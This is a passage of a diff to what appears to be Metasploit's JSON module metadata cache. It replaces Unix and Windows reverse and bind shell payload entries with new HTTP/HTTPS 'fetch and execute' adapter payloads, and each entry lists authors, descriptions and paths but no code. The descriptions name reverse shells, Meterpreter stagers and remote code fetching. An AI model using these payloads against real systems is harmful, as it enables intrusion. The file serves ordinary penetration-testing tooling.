"cmd/linux/http/x86/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_bind_tcp_random_port", + "staged": false }, - "payload_cmd/unix/reverse_nodejs": { - "name": "Unix Command Shell, Reverse TCP (via nodejs)", - "fullname": "payload/cmd/unix/reverse_nodejs", + "payload_cmd/linux/http/x86/shell_find_port": { + "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/http/x86/shell_find_port", "aliases": [ ], @@ -178353,33 +180186,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "joev " + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle " ], - "description": "Continually listen for a connection and spawn a command shell via nodejs", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_nodejs.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_nodejs", + "ref_name": "cmd/linux/http/x86/shell_find_port", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_find_port", + "staged": false }, - "payload_cmd/unix/reverse_openssl": { - "name": "Unix Command Shell, Double Reverse TCP SSL (openssl)", - "fullname": "payload/cmd/unix/reverse_openssl", + "payload_cmd/linux/http/x86/shell_find_tag": { + "name": "HTTP Fetch, Linux Command Shell, Find Tag Inline", + "fullname": "payload/cmd/linux/http/x86/shell_find_tag", "aliases": [ ], @@ -178387,33 +180226,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "Spencer McIntyre", + "skape " ], - "description": "Creates an interactive shell through two inbound connections", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection (proxy/nat safe)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_openssl.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_openssl", + "ref_name": "cmd/linux/http/x86/shell_find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_find_tag", + "staged": false }, - "payload_cmd/unix/reverse_perl": { - "name": "Unix Command Shell, Reverse TCP (via Perl)", - "fullname": "payload/cmd/unix/reverse_perl", + "payload_cmd/linux/http/x86/shell_reverse_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp", "aliases": [ ], @@ -178421,33 +180266,40 @@ "disclosure_date": null, "type": "payload", "author": [ - "cazz " + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle ", + "joev " ], - "description": "Creates an interactive shell via perl", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_perl.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_perl", + "ref_name": "cmd/linux/http/x86/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp", + "staged": false }, - "payload_cmd/unix/reverse_perl_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (via perl)", - "fullname": "payload/cmd/unix/reverse_perl_ssl", + "payload_cmd/linux/http/x86/shell_reverse_tcp_ipv6": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp_ipv6", "aliases": [ ], @@ -178455,33 +180307,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "Spencer McIntyre", + "Matteo Malvica " ], - "description": "Creates an interactive shell via perl, uses SSL", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_perl_ssl", + "ref_name": "cmd/linux/http/x86/shell_reverse_tcp_ipv6", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp_ipv6", + "staged": false }, - "payload_cmd/unix/reverse_php_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (via php)", - "fullname": "payload/cmd/unix/reverse_php_ssl", + "payload_cmd/linux/https/mips64/meterpreter_reverse_http": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_http", "aliases": [ ], @@ -178489,33 +180347,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Creates an interactive shell via php, uses SSL", + "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_php_ssl", + "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_http", + "staged": false }, - "payload_cmd/unix/reverse_python": { - "name": "Unix Command Shell, Reverse TCP (via Python)", - "fullname": "payload/cmd/unix/reverse_python", + "payload_cmd/linux/https/mips64/meterpreter_reverse_https": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_https", "aliases": [ ], @@ -178523,33 +180389,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "bcoles " - ], - "description": "Connect back and create a command shell via Python", - "references": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", + "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_python", + "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_https", + "staged": false }, - "payload_cmd/unix/reverse_python_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (via python)", - "fullname": "payload/cmd/unix/reverse_python_ssl", + "payload_cmd/linux/https/mips64/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_tcp", "aliases": [ ], @@ -178557,33 +180431,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Creates an interactive shell via python, uses SSL, encodes with base64 by design.", + "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_python_ssl", + "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_tcp", + "staged": false }, - "payload_cmd/unix/reverse_r": { - "name": "Unix Command Shell, Reverse TCP (via R)", - "fullname": "payload/cmd/unix/reverse_r", + "payload_cmd/linux/https/x64/exec": { + "name": "HTTPS Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/https/x64/exec", "aliases": [ ], @@ -178591,33 +180473,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "ricky", + "Geyslan G. Bem " ], - "description": "Connect back and create a command shell via R", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_r.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_r", + "ref_name": "cmd/linux/https/x64/exec", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/exec", + "staged": false }, - "payload_cmd/unix/reverse_ruby": { - "name": "Unix Command Shell, Reverse TCP (via Ruby)", - "fullname": "payload/cmd/unix/reverse_ruby", + "payload_cmd/linux/https/x64/meterpreter/bind_tcp": { + "name": "HTTPS Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -178625,33 +180513,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "Brendan Watters", + "Brent Cook ", + "ricky" ], - "description": "Connect back and create a command shell via Ruby", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ruby.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ruby", + "ref_name": "cmd/linux/https/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/bind_tcp" }, - "payload_cmd/unix/reverse_ruby_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (via Ruby)", - "fullname": "payload/cmd/unix/reverse_ruby_ssl", + "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": { + "name": "HTTPS Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_sctp", "aliases": [ ], @@ -178659,33 +180555,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", + "Brent Cook ", "RageLtMan " ], - "description": "Connect back and create a command shell via Ruby, uses SSL", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ruby_ssl", + "ref_name": "cmd/linux/https/x64/meterpreter/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_sctp" }, - "payload_cmd/unix/reverse_socat_sctp": { - "name": "Unix Command Shell, Reverse SCTP (via socat)", - "fullname": "payload/cmd/unix/reverse_socat_sctp", + "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -178693,33 +180597,42 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "Brent Cook ", + "ricky", + "tkmru" ], - "description": "Creates an interactive shell via socat", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-27 16:21:34 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_socat_sctp", + "ref_name": "cmd/linux/https/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_tcp" }, - "payload_cmd/unix/reverse_socat_udp": { - "name": "Unix Command Shell, Reverse UDP (via socat)", - "fullname": "payload/cmd/unix/reverse_socat_udp", + "payload_cmd/linux/https/x64/meterpreter_reverse_http": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_http", "aliases": [ ], @@ -178727,33 +180640,40 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Creates an interactive shell via socat", + "description": "Fetch and execute an x64 payload from an HTTPS server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_socat_udp", + "ref_name": "cmd/linux/https/x64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_http", + "staged": false }, - "payload_cmd/unix/reverse_ssh": { - "name": "Unix Command Shell, Reverse TCP SSH", - "fullname": "payload/cmd/unix/reverse_ssh", + "payload_cmd/linux/https/x64/meterpreter_reverse_https": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_https", "aliases": [ ], @@ -178761,34 +180681,40 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan ", - "hirura" + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Connect back and create a command shell via SSH", + "description": "Fetch and execute an x64 payload from an HTTPS server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ssh", + "ref_name": "cmd/linux/https/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_https", + "staged": false }, - "payload_cmd/unix/reverse_ssl_double_telnet": { - "name": "Unix Command Shell, Double Reverse TCP SSL (telnet)", - "fullname": "payload/cmd/unix/reverse_ssl_double_telnet", + "payload_cmd/linux/https/x64/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_tcp", "aliases": [ ], @@ -178796,34 +180722,40 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm ", - "RageLtMan " + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Creates an interactive shell through two inbound connections, encrypts using SSL via \"-z\" option", + "description": "Fetch and execute an x64 payload from an HTTPS server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ssl_double_telnet", + "ref_name": "cmd/linux/https/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_tcp", + "staged": false }, - "payload_cmd/unix/reverse_stub": { - "name": "Unix Command Shell, Reverse TCP (stub)", - "fullname": "payload/cmd/unix/reverse_stub", + "payload_cmd/linux/https/x64/pingback_bind_tcp": { + "name": "HTTPS Fetch, Linux x64 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/linux/https/x64/pingback_bind_tcp", "aliases": [ ], @@ -178831,33 +180763,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "bwatters-r7" ], - "description": "Creates an interactive shell through an inbound connection (stub only, no payload)", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nAccept a connection from attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_stub.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_stub", + "ref_name": "cmd/linux/https/x64/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/pingback_bind_tcp", + "staged": false }, - "payload_cmd/unix/reverse_tclsh": { - "name": "Unix Command Shell, Reverse TCP (via Tclsh)", - "fullname": "payload/cmd/unix/reverse_tclsh", + "payload_cmd/linux/https/x64/pingback_reverse_tcp": { + "name": "HTTPS Fetch, Linux x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x64/pingback_reverse_tcp", "aliases": [ ], @@ -178865,33 +180802,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "bcoles " + "Brendan Watters", + "bwatters-r7" ], - "description": "Creates an interactive shell via Tclsh", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_tclsh.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_tclsh", + "ref_name": "cmd/linux/https/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/pingback_reverse_tcp", + "staged": false }, - "payload_cmd/unix/reverse_zsh": { - "name": "Unix Command Shell, Reverse TCP (via Zsh)", - "fullname": "payload/cmd/unix/reverse_zsh", + "payload_cmd/linux/https/x64/shell/bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x64/shell/bind_tcp", "aliases": [ ], @@ -178899,34 +180841,40 @@ "disclosure_date": null, "type": "payload", "author": [ - "Doug Prostko ", - "Wang Yihang " + "Brendan Watters", + "ricky" ], - "description": "Connect back and create a command shell via Zsh. Note: Although Zsh is often\n available, please be aware it isn't usually installed by default.", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_zsh.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_zsh", + "ref_name": "cmd/linux/https/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/bind_tcp" }, - "payload_cmd/windows/adduser": { - "name": "Windows Execute net user /ADD CMD", - "fullname": "payload/cmd/windows/adduser", + "payload_cmd/linux/https/x64/shell/reverse_sctp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/https/x64/shell/reverse_sctp", "aliases": [ ], @@ -178934,35 +180882,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm ", - "scriptjunkie", - "Chris John Riley" + "Brendan Watters", + "ricky", + "RageLtMan " ], - "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/adduser.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/adduser", + "ref_name": "cmd/linux/https/x64/shell/reverse_sctp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_sctp" }, - "payload_cmd/windows/bind_lua": { - "name": "Windows Command Shell, Bind TCP (via Lua)", - "fullname": "payload/cmd/windows/bind_lua", + "payload_cmd/linux/https/x64/shell/reverse_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x64/shell/reverse_tcp", "aliases": [ ], @@ -178970,33 +180924,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "xistence " + "Brendan Watters", + "ricky", + "tkmru" ], - "description": "Listen for a connection and spawn a command shell via Lua", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/bind_lua.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/bind_lua", + "ref_name": "cmd/linux/https/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_tcp" }, - "payload_cmd/windows/bind_perl": { - "name": "Windows Command Shell, Bind TCP (via Perl)", - "fullname": "payload/cmd/windows/bind_perl", + "payload_cmd/linux/https/x64/shell_bind_ipv6_tcp": { + "name": "HTTPS Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x64/shell_bind_ipv6_tcp", "aliases": [ ], @@ -179004,35 +180966,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "Samy ", - "cazz ", - "aushack " + "Brendan Watters", + "epi " ], - "description": "Listen for a connection and spawn a command shell via perl (persistent)", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for an IPv6 connection and spawn a command shell", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/bind_perl.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/bind_perl", + "ref_name": "cmd/linux/https/x64/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_bind_ipv6_tcp", + "staged": false }, - "payload_cmd/windows/bind_perl_ipv6": { - "name": "Windows Command Shell, Bind TCP (via perl) IPv6", - "fullname": "payload/cmd/windows/bind_perl_ipv6", + "payload_cmd/linux/https/x64/shell_bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp", "aliases": [ ], @@ -179040,35 +181005,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "Samy ", - "cazz ", - "aushack " + "Brendan Watters", + "ricky" ], - "description": "Listen for a connection and spawn a command shell via perl (persistent)", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection and spawn a command shell", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 